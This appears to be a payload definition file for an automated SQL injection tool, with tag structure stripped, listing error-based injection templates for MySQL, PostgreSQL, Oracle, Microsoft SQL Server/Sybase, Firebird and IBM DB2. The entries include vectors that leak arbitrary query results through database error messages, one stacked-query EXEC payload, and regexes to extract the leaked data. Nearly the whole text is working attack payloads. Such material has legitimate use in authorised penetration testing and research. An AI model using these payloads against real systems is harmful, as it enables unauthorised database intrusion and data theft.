Microsoft SQL Server/Sybase error-based - Parameter replace
2
3
1
1,3
3
(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)
2
4
1
1,3
3
(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Oracle error-based - Parameter replace
2
3
1
1,3
3
(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - Parameter replace
2
4
1
1,3
3
(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
IBM DB2 error-based - Parameter replace
2
4
1
1,3
3
RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)
2
5
1
2,3
1
,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)
2
5
1
2,3
1
,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)
,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)
2
5
1
2,3
1
,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.6
MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)
2
5
1
2,3
1
,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)
,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.7.8
MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)
2
4
1
2,3
1
,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.0
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
2
3
1
2,3
1
,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)
2
5
1
2,3
1
,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)
2
3
1
2,3
1
,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 4.1
PostgreSQL error-based - ORDER BY, GROUP BY clause
2
3
1
2,3
1
,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)
2
5
1
2,3
1
,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - ORDER BY clause
2
4
1
3
1
,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Oracle error-based - ORDER BY, GROUP BY clause
2
4
1
2,3
1
,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - ORDER BY clause
2
5
1
3
1
,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
IBM DB2 error-based - ORDER BY clause
2
5
1
3
1
,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
Microsoft SQL Server/Sybase error-based - Stacking (EXEC)
2
2
1
1-8
1
;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]
;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]
--
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase